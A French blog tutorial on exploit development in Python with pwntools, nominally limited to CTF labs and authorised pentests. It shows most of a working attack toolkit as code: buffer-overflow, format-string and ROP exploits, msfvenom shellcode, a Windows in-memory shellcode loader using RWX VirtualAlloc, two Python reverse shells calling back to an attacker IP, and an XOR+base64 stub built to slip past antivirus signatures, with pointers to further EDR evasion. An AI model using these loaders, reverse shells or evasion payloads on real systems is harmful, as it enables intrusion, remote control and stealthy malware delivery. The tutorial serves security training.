Lecture : 14 minutes · Niveau : avancé · Mise à jour : avril 2026
⚠️ Disclaimer : Tous les exemples s’exécutent uniquement sur des binaires de challenge CTF (PicoCTF, HackTheBox, OverTheWire), des labs personnels, ou dans le cadre d’une mission contractuelle avec autorisation écrite. Toute exploitation contre un système tiers sans autorisation est illégale.
Tutoriel pas-à-pas pour écrire des exploits en Python : framework pwntools, payload generation, shellcode, ROP basique, interaction binaire local et réseau, ctypes pour exécuter des syscalls Windows, reverse shells. Lab : challenges PicoCTF « Binary Exploitation », HackTheBox machines série « Pwn », binaires intentionnellement vulnérables.
Pourquoi Python pour l’exploit dev plutôt que C ? Le binaire à exploiter est généralement écrit en C. L’exploit lui-même est écrit en Python car : (1) cycle de développement court — un exploit traverse de nombreuses itérations, Python permet de modifier-tester en quelques secondes là où C demanderait recompilation, (2) pwntools fournit des helpers (cyclic, p64, ROP) qui prendraient des semaines à recoder en C, (3) interactions stdin/stdout, sockets, GDB attach sont triviales en Python, (4) les conventions CTF utilisent massivement Python. C reste pertinent pour embedded payloads (shellcode, droppers) mais l’orchestration de l’exploit lui-même est presque toujours en Python.
Curve d’apprentissage progressive. L’exploit dev a une réputation intimidante mais les bases (buffer overflow ret2win en CTF débutant) s’apprennent en quelques semaines. La progression vers heap exploitation, ROP avancé, kernel pwning prend années — mais cette voie n’est pas requise pour 95% des missions pentest réelles. Pour un pentester PME, maîtriser les bases pwntools + savoir exploiter une vulnérabilité documentée d’un CMS ou framework couvre la majorité des cas concrets.
Voir aussi → Python pour pentesting : guide pratique, Python pentesting scripts réseau, Python pentesting automatisation OSINT recon.
Sommaire
- Setup pwntools
- Premier exploit : buffer overflow simple
- Interaction process et réseau
- Format string exploit
- ROP basique : ret2win
- Shellcode : msfvenom + intégration Python
- ctypes : appeler Windows API depuis Python
- Reverse shell Python (lab)
- Payload obfusqué (XOR + base64)
- Pied de table : automatiser exploit dev
- FAQ
1. Setup pwntools
L’environnement repose sur quatre briques : un venv Python pour isoler pwntools, le débogueur gdb avec l’extension gef pour inspecter la pile au moment du crash, nasm pour assembler du shellcode si besoin, radare2 comme outil d’analyse statique de secours.
python3 -m venv ~/venvs/pwn
source ~/venvs/pwn/bin/activate
pip install pwntools==4.13.1 # version stable testée nov. 2024
# Outils complémentaires
sudo apt install -y gdb python3-pip nasm radare2
# Installer GEF (méthode officielle, gef.blah.cat)
bash -c "$(wget https://gef.blah.cat/sh -O -)"
À l’issue de l’installation, gef au prompt gdb doit afficher la bannière colorée — sans elle, le tutoriel ne fonctionnera pas car les commandes gef comme vmmap ou checksec sont essentielles.
Vérifier installation :
Test de fumée. Si pwntools est correctement installé, ce one-liner affiche efbeadde — la valeur 0xdeadbeef packée en little-endian sur 4 octets, c’est-à-dire l’ordre dans lequel x86 stocke les entiers en mémoire.
from pwn import *
print(p32(0xdeadbeef).hex())
# efbeadde
Si l’import échoue avec ModuleNotFoundError, c’est que le venv n’est pas activé — relancer source ~/venvs/pwn/bin/activate.
2. Premier exploit : buffer overflow simple
Binaire vulnérable (CTF style) : vuln.c
Le programme cible volontairement vulnérable. gets() est l’archétype de la fonction non bornée : elle écrit dans buf tout ce que l’utilisateur tape, sans contrôle de longueur. La fonction win() contient le payload qu’on veut déclencher, mais elle n’est jamais appelée dans le flux normal — c’est notre cible.
#include <stdio.h>
#include <string.h>
void win() {
system("/bin/sh");
}
int main() {
char buf[64];
printf("Input: ");
gets(buf); // vulnérable
return 0;
}
gets() est rejetée par les compilateurs modernes (warning automatique) et déclassée du standard C depuis C11. Elle reste un excellent terrain d’apprentissage parce qu’elle isole la mécanique du débordement sans bruit.
On désactive explicitement trois protections que GCC active par défaut depuis 2016. -fno-stack-protector retire la canary qui détecte la corruption de pile, -no-pie fige les adresses (sans cela, l’ASLR randomise et les offsets ne sont plus reproductibles), -z execstack rend la pile exécutable — utile pour le shellcode injecté à la section 6.
gcc -fno-stack-protector -no-pie -z execstack -o vuln vuln.c
Sur un système réel, ces protections sont activées et leur contournement demande des techniques plus avancées (info leak, ret2libc, ROP) abordées plus loin.
Trouver l’offset :
L’objectif : trouver à quel offset exact dans notre input commence l’adresse de retour. cyclic(200) génère une séquence de De Bruijn — chaque sous-chaîne de 4 octets y est unique, donc on retrouve la position du crash par simple lookup.
# offset.py
from pwn import *
# Pattern cyclique
pattern = cyclic(200)
print(pattern.decode())
Pour une cible 64 bits, on aurait utilisé cyclic(200, n=8) pour des sous-chaînes de 8 octets, car c’est la taille d’un pointeur sur x86-64.
Lancer en GDB, déclencher crash, lire RSP à la collision :
On lance le binaire dans gdb en lui envoyant le pattern via une substitution de processus. Au crash, le registre RIP contient 8 octets du pattern — ici 0x6161616761616166, soit la chaîne ASCII inversée (little-endian) faaagaaa.
gdb ./vuln
(gdb) r < <(python3 offset.py)
# Crash avec RIP = 0x6161616761616166 ("faaa", "gaaa")
(gdb) p $rsp
Le registre $rsp pointe sur le sommet de la pile au moment du crash : c’est cette zone qui sera notre prochaine cible de redirection.
Plutôt que de retourner manuellement la chaîne, on confie le calcul à pwntools : cyclic_find() renvoie l’offset exact dans le pattern d’entrée auquel se trouve la valeur retrouvée dans RIP.
# pwntools auto-trouve l'offset
print(cyclic_find(0x6161616761616166)) # 72
Résultat : 72 octets. Soit 64 octets du buffer buf[64] + 8 octets de la sauvegarde de RBP poussée à l’entrée de main. C’est l’adresse exacte à laquelle écrire pour réécrire le pointeur de retour.
Exploit :
Construction du payload final. ELF() parse le binaire pour récupérer l’adresse de la fonction win() sans la hardcoder. process() lance le binaire localement. Le payload concatène 72 octets de bourrage puis l’adresse de win() packée en little-endian sur 64 bits.
# exploit.py
from pwn import *
elf = ELF("./vuln")
p = process("./vuln")
win_addr = elf.symbols['win']
log.info(f"win() @ {hex(win_addr)}")
offset = 72
payload = b"A" * offset + p64(win_addr)
p.recvuntil(b"Input: ")
p.sendline(payload)
p.interactive()
p.interactive() ouvre un canal interactif entre votre terminal et le processus exploité — c’est dans cette session qu’on tape id ou ls une fois le shell décroché.
Lancer :
Le déclenchement.
python3 exploit.py
# [+] Starting local process: ...
# $ id
# uid=1000(user) ...
L’apparition du prompt $ signe la prise de contrôle du flux d’exécution : win() a été appelée et a lancé /bin/sh sur le processus. id confirme qu’on tourne sous l’identité du propriétaire du binaire.
3. Interaction process et réseau
Process local :
Les quatre primitives d’interaction qu’on utilise dans 90 pour cent des exploits : sendline() pour pousser une ligne, recvline() pour lire la suivante, recvuntil() pour avancer jusqu’à un motif identifié, interactive() pour basculer en manuel.
from pwn import *
p = process("./binary")
p.sendline(b"input1")
data = p.recvline() # ligne suivante
data = p.recvuntil(b"prompt:") # jusqu'à pattern
data = p.recv(100) # 100 bytes max
p.interactive() # bascule en interactif
recvuntil() bloque indéfiniment si le motif n’arrive pas — toujours passer un timeout=5 en environnement instable pour éviter de geler le script.
Connexion réseau (challenge remote) :
Même API que pour un processus local, à un détail près : remote() au lieu de process(). C’est cette uniformité qui fait que le même exploit script tourne en local pendant le développement et sur le serveur cible au moment de la livraison.
p = remote("ctf.exemple.com", 1337)
p.sendline(b"hello")
print(p.recvline())
Pour basculer rapidement entre les deux modes pendant le dev, utiliser args.REMOTE de pwntools : p = remote(...) if args.REMOTE else process(...).
Helpers utiles :
Les fonctions de packing/unpacking. p32 et p64 convertissent un entier en bytes little-endian (32 ou 64 bits), u32 et u64 font l’inverse. Toujours les utiliser plutôt que de bidouiller manuellement avec struct — pwntools gère silencieusement les cas limites comme le padding.
from pwn import *
# Convertisseurs little/big endian
p32(0xdeadbeef) # b'\xef\xbe\xad\xde'
p64(0x4141414141414141)
u32(b"AAAA") # 0x41414141
# Pattern de Bruijn
cyclic(100) # 'aaaabaaacaaa...'
cyclic_find(b"baaa") # 4
# Logging coloré
log.info("info")
log.warning("warning")
log.success("success!")
log.failure("failed")
Pour cibles non-x86 (ARM, MIPS), définir context.endian = 'big' en début de script et pwntools s’adapte automatiquement.
4. Format string exploit
Binaire vulnérable :
L’archétype de la vulnérabilité format string. printf() attend un format en premier argument et des valeurs ensuite. Quand le format vient de l’utilisateur, l’utilisateur contrôle l’interprétation : %p lit la pile, %n écrit à une adresse, %s déréférence un pointeur.
printf(buf); // vulnérable, devrait être printf("%s", buf)
Le compilateur GCC émet un warning -Wformat-security sur ce pattern depuis 2003 — l’écraser en production reste une erreur courante dans les binaires C anciens.
Lecture mémoire :
La syntaxe %6$p est le direct parameter access de printf : on saute directement au 6e argument variadique sans afficher les précédents. Sur x86-64, les six premiers arguments passent par les registres ; à partir du septième on lit la pile, ce qui révèle les valeurs locales et le pointeur de retour.
from pwn import *
p = process("./fmt")
# Lire le 6e argument (selon convention call)
p.sendline(b"%6$p")
leaked = p.recvline().strip()
print(f"Leaked: {leaked}")
L’offset varie selon la convention d’appel et le compilateur — il faut souvent essayer %1$p jusqu’à %30$p pour cartographier la pile.
Écriture arbitraire (overwrite GOT) :
Le sommet de la fonctionnalité : fmtstr_payload() automatise la construction du payload qui écrit une valeur arbitraire à une adresse arbitraire via le spécificateur %n. Ici on cible l’entrée GOT de printf pour la rediriger vers win() — au prochain appel à printf, c’est win() qui s’exécute.
from pwn import fmtstr_payload
# pwntools génère automatiquement le payload format string
# pour écrire une valeur à une adresse
elf = ELF("./fmt")
got_printf = elf.got['printf']
target_addr = elf.symbols['win']
payload = fmtstr_payload(offset=6, writes={got_printf: target_addr})
p.sendline(payload)
L’argument offset=6 doit correspondre à l’offset de l’input attaquant sur la pile, déterminé à l’étape précédente avec %N$p.
5. ROP basique : ret2win
Quand NX est activé (stack non exécutable), on chaîne des gadgets existants au lieu d’injecter du shellcode.
Return-Oriented Programming. Quand NX empêche l’exécution de code injecté sur la pile, on chaîne des morceaux d’instructions (gadgets) déjà présents dans le binaire pour construire un programme à la volée. Ici, le gadget pop rdi ; ret place l’adresse de la chaîne /bin/sh dans le registre RDI (premier argument sur x86-64), puis on appelle system().
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
# Trouver gadgets
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(next(elf.search(b"/bin/sh\x00")))
rop.raw(elf.plt['system'])
print(rop.dump())
payload = b"A" * 72 + rop.chain()
p = process("./vuln")
p.sendline(payload)
p.interactive()
L’absence d’instruction system dans un binaire statique force à chercher des syscalls via execve — pwntools fournit alors rop.execve() qui gère la chaîne automatiquement.
Recherche de gadgets manuelle :
Outil tiers complémentaire : ROPgadget liste tous les gadgets exploitables d’un binaire. Utile quand rop.find_gadget() de pwntools ne trouve pas la combinaison voulue.
ROPgadget --binary ./vuln | grep "pop rdi"
Installation : pip install ROPgadget. Alternative plus rapide sur gros binaires : ropper.
6. Shellcode : msfvenom + intégration Python
Génération avec msfvenom :
Metasploit fournit le générateur de shellcode le plus complet, indépendant de pwntools. La commande produit un fichier Python contenant le shellcode encodé sous forme de variable buf, directement copiable dans un exploit pwntools.
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -o shellcode.py
L’option -b '\x00\x0a' exclut des octets interdits (bad chars) — indispensable quand le buffer cible est lu par une fonction comme strcpy qui s’arrête au null byte.
shellcode.py contient :
L’output type de msfvenom. Le shellcode est splitté en lignes pour rester lisible, mais c’est une seule séquence d’octets une fois concaténée.
buf = b""
buf += b"\x6a\x3b\x58\x99\x52\x48\xbf..."
Toujours vérifier avec len(buf) que la taille tient dans le buffer cible avant d’envoyer.
Intégration dans exploit :
L’intégration : on charge le fichier Python généré par msfvenom, ce qui définit la variable buf, puis on construit le payload complet en plaçant buf sur la pile à l’adresse contrôlée.
from pwn import *
exec(open("shellcode.py").read()) # définit `buf`
p = process("./vuln_jitable")
# Empiler addresse + shellcode si NX désactivé
addr_buf = 0x7ffff7ffe000 # adresse stack/heap exécutable
payload = b"A" * 72 + p64(addr_buf) + buf
p.sendline(payload)
p.interactive()
Si NX est activé sur la cible, ce schéma ne fonctionne pas — il faut soit utiliser mprotect via ROP, soit basculer sur ret2libc.
Shellcode « live » pwntools :
Alternative pure pwntools : shellcraft.sh() retourne du code assembleur générant un shell, et asm() le compile en octets exécutables. Lisible et auto-documentant, mais plus volumineux que l’équivalent msfvenom.
from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
print(f"Shellcode: {len(shellcode)} bytes")
shellcraft couvre aussi execve() personnalisé, connect() pour bind shell, dupsh() pour reverse shell — voir shellcraft.amd64.linux.sh.__doc__.
7. ctypes : appeler Windows API depuis Python
ctypes permet d’appeler n’importe quelle DLL Windows depuis Python.
Bascule de cible : Windows. ctypes.windll.user32.MessageBoxW appelle l’API Win32 native — la même que celle utilisée par les programmes C natifs. Le suffixe W impose l’encodage UTF-16 (caractères larges), à opposer au A pour ASCII.
# windows_api.py
import ctypes
from ctypes import wintypes
# Appeler MessageBox (kernel32)
ctypes.windll.user32.MessageBoxW(0, "Hello", "Test", 0)
# Lister les processus (snapshot)
TH32CS_SNAPPROCESS = 0x00000002
class PROCESSENTRY32W(ctypes.Structure):
_fields_ = [("dwSize", wintypes.DWORD),
("cntUsage", wintypes.DWORD),
("th32ProcessID", wintypes.DWORD),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", wintypes.DWORD),
("cntThreads", wintypes.DWORD),
("th32ParentProcessID", wintypes.DWORD),
("pcPriClassBase", ctypes.c_long),
("dwFlags", wintypes.DWORD),
("szExeFile", ctypes.c_wchar * 260)]
snap = ctypes.windll.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
entry = PROCESSENTRY32W()
entry.dwSize = ctypes.sizeof(PROCESSENTRY32W)
if ctypes.windll.kernel32.Process32FirstW(snap, ctypes.byref(entry)):
while True:
print(f"{entry.th32ProcessID:>6} {entry.szExeFile}")
if not ctypes.windll.kernel32.Process32NextW(snap, ctypes.byref(entry)):
break
ctypes.windll.kernel32.CloseHandle(snap)
Cette section ne tourne que sur Windows réel ou virtualisé. WSL2 expose Linux dans Windows et n’a pas accès à kernel32.dll ni user32.dll du Windows hôte.
Exécution shellcode in-memory (lab) :
Le pattern classique d’injection shellcode sur Windows. VirtualAlloc avec les drapeaux 0x1000 | 0x2000 (MEM_COMMIT | MEM_RESERVE) et 0x40 (PAGE_EXECUTE_READWRITE) alloue une zone à la fois inscriptible et exécutable. memmove y copie le shellcode. Un CreateThread sur le pointeur déclenche l’exécution.
import ctypes
shellcode = bytearray(b"\xfc\x48\x83...") # shellcode
# VirtualAlloc
ptr = ctypes.windll.kernel32.VirtualAlloc(
0, len(shellcode), 0x1000 | 0x2000, 0x40) # MEM_COMMIT|RESERVE, RWX
# Copier shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ptr, buf, len(shellcode))
# Créer thread
ht = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
Ce pattern est immédiatement détecté par tous les EDR modernes (CrowdStrike, SentinelOne, Defender ATP) parce que la combinaison VirtualAlloc/RWX est l’un des indicateurs les plus surveillés. Pour un usage en red team réel, l’évasion passe par module stomping, process hollowing ou direct syscalls.
⚠️ Lab uniquement. Cette approche est régulièrement signalée par EDR — voir red teaming évasion AV/EDR pour les techniques d’évasion.
8. Reverse shell Python (lab)
Côté attaquant :
Côté attaquant : un listener netcat qui attend une connexion entrante sur le port 4444. Les options -l (listen), -v (verbose), -n (pas de résolution DNS), -p (port).
nc -lvnp 4444
Une fois la connexion établie depuis la victime, le terminal devient le shell distant — mais c’est un shell sans TTY. Pour l’upgrade en TTY confortable : python -c 'import pty; pty.spawn("/bin/bash")' côté victime puis Ctrl+Z, stty raw -echo; fg côté attaquant.
Reverse shell Python one-liner :
Reverse shell minimaliste en sept lignes. La victime ouvre un socket vers l’IP attaquante puis duplique ce socket sur les trois descripteurs standards (stdin/stdout/stderr) avec dup2(). subprocess.call lance /bin/sh qui hérite des descripteurs redirigés — toutes ses entrées et sorties passent désormais par le socket.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Variant à mémoriser pour les CTF : tient sur une seule ligne après imports, fonctionne sur tout Linux avec Python 3.
Version « stealthier » avec masquage de fenêtre console (Windows) :
Variante portable Linux/Windows. platform.system() détecte l’OS pour choisir entre /bin/sh et cmd.exe. La boucle reçoit les commandes une par une et retourne la sortie — moins propre qu’un dup2 mais utilisable quand les descripteurs ne peuvent pas être remplacés (cas Windows sans interface POSIX complète).
import socket, subprocess
import platform
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 4444))
while True:
cmd = s.recv(1024).decode().strip()
if cmd in ("exit", "quit"):
break
if cmd.startswith("cd "):
try:
os.chdir(cmd[3:])
s.send(b"OK\n")
except Exception as e:
s.send(f"ERR: {e}\n".encode())
continue
out = subprocess.run(cmd, shell=True, capture_output=True)
s.send(out.stdout + out.stderr)
s.close()
Encoder en base64 avec un wrapper powershell -enc est la technique standard pour transformer ce script en one-liner exécutable depuis une RCE Windows.
Conversion en .exe Windows : pip install pyinstaller && pyinstaller --onefile --noconsole shell.py. ⚠️ Détecté par AV — pour évasion sérieuse voir Red Team cluster.
9. Payload obfusqué (XOR + base64)
Le générateur. On XOR le payload avec une clé symétrique courte, puis on encode le résultat en base64 pour obtenir une chaîne ASCII transportable sans caractères spéciaux. La clé peut être réutilisée et n’est pas dérivée — c’est de l’obfuscation, pas du chiffrement.
# obfuscate.py
import base64
PAYLOAD = b"""import os; os.system('whoami')"""
KEY = b"clef_secrete"
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
encoded = base64.b64encode(xor(PAYLOAD, KEY)).decode()
print(f"ENCODED = '{encoded}'")
Le but n’est pas de résister à une analyse manuelle (un analyste lit xor, base64.b64decode et comprend en 30 secondes) mais d’échapper à la détection par signature statique des AV qui matchent sur des patterns texte comme os.system.
Stub déchiffreur (le seul code « lisible ») :
Le stub à déposer chez la cible. Il décode la chaîne base64, applique le XOR inverse avec la même clé, et exécute le résultat. La signature antivirus ne voit qu’une chaîne base64 et une boucle XOR — pas de chaîne os.system ni d’appel sensible en clair.
# stub.py
import base64
ENCODED = "..." # généré par obfuscate.py
KEY = b"clef_secrete"
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
decrypted = xor(base64.b64decode(ENCODED), KEY)
exec(decrypted)
La parade défensive est l’analyse comportementale : observer ce que fait le processus à l’exécution (création de socket réseau sortant, lancement de shell) plutôt que ce qu’il contient en statique.
Pour AV bypass plus sérieux : combinez avec techniques C/C# (voir red teaming évasion). Python pur reste détecté par les EDR modernes.
Le piège de l’obfuscation excessive. Beaucoup de débutants empilent les couches d’obfuscation pensant rendre leur payload plus furtif. En réalité, c’est souvent le pattern d’obfuscation lui-même qui devient une signature détectable (chaîne XOR + base64 + exec dynamique = comportement très signalisé). Les EDR modernes regardent le comportement runtime plus que le contenu statique : un binaire propre qui ouvre une socket, exécute des commandes shell, et fait du DNS exfil sera détecté quel que soit son obfuscation source. La vraie évasion 2026 passe par modification du comportement (behavior chaining légitime, sleep masking, low-and-slow) plus que par obfuscation de strings.
10. Pied de table : automatiser exploit dev
Pour un binaire CTF, automatiser le cycle « modif → test → debug » :
Le squelette à copier au démarrage de chaque nouveau challenge. context.arch = "amd64" définit l’architecture par défaut pour asm() et le packing, context.log_level = "debug" fait afficher chaque envoi et chaque réception, ELF() sur le binaire et la libc charge automatiquement les symboles utiles.
# exploit_template.py
from pwn import *
context.arch = "amd64"
context.log_level = "debug" # verbeux
elf = ELF("./challenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
LOCAL = True
def conn():
if LOCAL:
return process("./challenge")
return remote("ctf.exemple.com", 1337)
def exploit():
p = conn()
# ... payload ...
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
Personnaliser le template avec ses propres fonctions recv_until_prompt() ou send_payload() divise par 2 ou 3 le temps de mise en place sur un nouvel exercice après quelques semaines d’usage.
Bascule local/remote en 1 flag. Tester local jusqu’à ce que ça marche, puis LOCAL = False pour le serveur du CTF.
Workflow disciplinaire d’exploit dev. Une fois le template en place, suivre méthodiquement : 1 reproduire le crash en local avec input minimal, 2 trouver l’offset précis avec cyclic, 3 vérifier les protections actives (NX, ASLR, canary, PIE) avec checksec, 4 choisir la stratégie selon protections (shellcode si NX off, ROP si NX on, leak puis exploit si ASLR on, etc.), 5 construire le payload incrémentalement et tester chaque étape, 6 finaliser avec interactif, 7 basculer remote. Cette discipline évite les heures perdues à tâtonner.
Helpers utiles dans pwntools :
– gdb.attach(p, "b *win") : attacher GDB en debug
– pause() : breakpoint script avant action critique
– cyclic_find(crashing_value) : trouver offset auto
FAQ
Pourquoi pwntools plutôt que socket pur ?
pwntools encapsule des dizaines de helpers (cyclic patterns, format string payloads, ROP chains, GDB attach, parsing ELF/PE) qui prennent des heures à coder à la main. Pour CTF / exploit dev sérieux : indispensable.
Comment apprendre pwntools efficacement ?
Suivre les tutoriels officiels (docs.pwntools.com/en/stable/intro.html), résoudre les défis PicoCTF Binary Exploitation dans l’ordre, lire les write-ups CTF (CTFtime, archive HTB) qui utilisent pwntools.
Mon shellcode ne fonctionne pas — pourquoi ?
Causes courantes : NX activé (stack non exécutable, basculer ROP), badchars (\x00, \n dans le shellcode = problème selon contexte), mauvais offset stack/heap, ASLR (lib c randomisée), canary (stack protection).
Comment exploiter avec ASLR activé ?
Leak d’adresse libc via format string ou autre vuln, calcul des offsets relatifs, ROP chain construit avec adresses absolues. Outil : LIBC_DATABASE (libc-database) pour identifier la version exacte de libc d’après quelques bytes leakés.
ctypes vs cffi pour appeler du code natif ?
ctypes : stdlib, pas d’install. Plus verbose, structures à déclarer manuellement. cffi : doit être pip install, plus moderne, peut parser des headers C. Pour exploit dev rapide : ctypes suffit.
Reverse shell Python détecté par AV — comment évader ?
Python pur reste détecté car comportement net.connect+exec=signature. Approche évasive : pyinstaller --key avec stripping, packer custom, ou bascule vers C/C# avec techniques détaillées dans le cluster Red Team. Voir red teaming évasion AV/EDR.
Comment debug un exploit qui ne fonctionne qu’en local ?
Cause habituelle : différence d’environnement entre local et remote (libc version, kernel, randomisation). Solutions : utiliser même version libc (Docker avec image distribuée par le CTF), test avec LIBC_DATABASE, vérifier que ASLR est activé/désactivé pareil.
Comment progresser au-delà de pwntools basique ?
Spécialisations : heap exploitation (House of *, libc malloc internals), kernel exploitation (Linux LPE, Windows kernel), JIT exploitation (browsers V8/SpiderMonkey). Ressources : Cours pwn.college, liveoverflow YouTube, écrire des CVE walkthroughs.
Articles liés (cluster Python pentesting)
- 👉 Python pour pentesting : guide pratique
- 👉 Python pentesting scripts réseau : tutoriel scapy
- 👉 Python pentesting automatisation OSINT recon
Voir aussi : Red teaming évasion AV/EDR, Outils essentiels du pentesting, Pentesting d’applications web.
Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.
Besoin d’un VPS ou d’un hébergement fiable ?
Hostinger propose des plans abordables — adaptés aux tutoriels de ce blog et utilisés par notre rédaction. Le lien est un lien de partenariat : si vous achetez via lui, le blog reçoit une petite commission sans surcoût pour vous.
Lien d affiliation. Si vous achetez via ce lien, le blog reçoit une petite commission sans surcoût pour vous.